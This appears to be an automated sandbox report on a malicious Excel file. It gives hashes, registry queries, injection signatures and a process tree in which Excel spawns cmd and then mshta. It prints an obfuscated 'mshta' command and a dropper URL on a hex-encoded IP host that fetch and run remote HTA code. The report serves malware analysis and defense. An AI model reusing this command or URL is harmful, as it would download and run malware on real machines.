c48a780e4664704fea5ddb053288a405a134644cd21cf1b2a21050df56d28d94

General

Target

c48a780e4664704fea5ddb053288a405a134644cd21cf1b2a21050df56d28d94.xls
Size

142KB
MD5

8d6b43ca03cf1e4d675a523c4b06e214
SHA1

6cdde32cd5ce069e00c952575714e66c55f091cc
SHA256

c48a780e4664704fea5ddb053288a405a134644cd21cf1b2a21050df56d28d94
SHA512

600dc0d8cd18517e49c8319c8a7e9feb8cdd6354d80ff1c0b7e99ccdbd9fc3651b30c07448792fd7b52ec877068d72a2c664c2e79ca8fcdfd542ff6f1c8f7418

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2020	3716	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

44 1868 mshta.exe

flow	pid	process
44	1868	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3716 EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
3716	EXCEL.EXE
3716	EXCEL.EXE
3716	EXCEL.EXE
3716	EXCEL.EXE
3716	EXCEL.EXE
3716	EXCEL.EXE
3716	EXCEL.EXE
3716	EXCEL.EXE
3716	EXCEL.EXE
3716	EXCEL.EXE
3716	EXCEL.EXE
3716	EXCEL.EXE
3716	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 3716 wrote to memory of 2156	3716	EXCEL.EXE	splwow64.exe
PID 3716 wrote to memory of 2156	3716	EXCEL.EXE	splwow64.exe
PID 3716 wrote to memory of 2020	3716	EXCEL.EXE	cmd.exe
PID 3716 wrote to memory of 2020	3716	EXCEL.EXE	cmd.exe
PID 2020 wrote to memory of 1868	2020	cmd.exe	mshta.exe
PID 2020 wrote to memory of 1868	2020	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\c48a780e4664704fea5ddb053288a405a134644cd21cf1b2a21050df56d28d94.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3716

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:2156

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2020

C:\Windows\system32\mshta.exe
mshta http://0xb907d607/fer/fer.html
3⤵
- Blocklisted process makes network request
PID:1868

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/3716-115-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

Filesize
64KB

Download
memory/3716-116-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

Filesize
64KB

Download
memory/3716-117-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

Filesize
64KB

Download
memory/3716-118-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

Filesize
64KB

Download
memory/3716-119-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

Filesize
64KB

Download
memory/3716-128-0x00007FFF786A0000-0x00007FFF786B0000-memory.dmp

Filesize
64KB

Download
memory/3716-129-0x00007FFF786A0000-0x00007FFF786B0000-memory.dmp

Filesize
64KB

Download
memory/3716-513-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

Filesize
64KB

Download
memory/3716-514-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

Filesize
64KB

Download
memory/3716-515-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

Filesize
64KB

Download
memory/3716-516-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads